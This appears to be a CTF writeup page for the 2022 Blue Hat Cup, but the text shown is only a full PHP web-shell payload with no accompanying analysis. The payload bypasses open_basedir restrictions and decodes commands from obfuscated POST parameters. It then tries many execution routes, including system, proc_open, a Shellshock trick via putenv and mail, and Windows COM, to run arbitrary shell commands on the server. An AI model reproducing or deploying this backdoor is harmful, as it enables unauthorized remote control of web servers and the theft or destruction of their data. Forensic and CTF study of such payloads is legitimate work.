蓝帽杯 2022 Writeup

<?php
a = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        $tmdir = $item . "/.37120390cd";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0;$i < sizeof($cntarr);$i++) {
            @chdir("..");
        };
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out) {
    return $out;
};
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "d1588" . "7ac2af";
    echo @asenc($output);
    echo "bb1" . "ca7";
}
ob_start();
try {
    $p = base64_decode(substr($_POST["yee092cda97a62"], 2));
    $s = base64_decode(substr($_POST["q8fb9d4c082c11"], 2));
    $envstr = @base64_decode(substr($_POST["p48a6d55fac1b1"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r = "{$p} {$c}";
    function fe($f) {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    };
    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print ($output);
                return True;
            }
        }
        return False;
    };
    function runcmd($c) {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print (@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print (join("
", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print (@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print (@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print (@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret.= $so->ReadAll();
            $se = $e->StdErr();
            $ret.= $se->ReadAll();
            print ($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    };
    $ret = @runcmd($r . " 2>&1");
    print ($ret != 0) ? "ret={$ret}" : "";;
}
catch(Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die(); 
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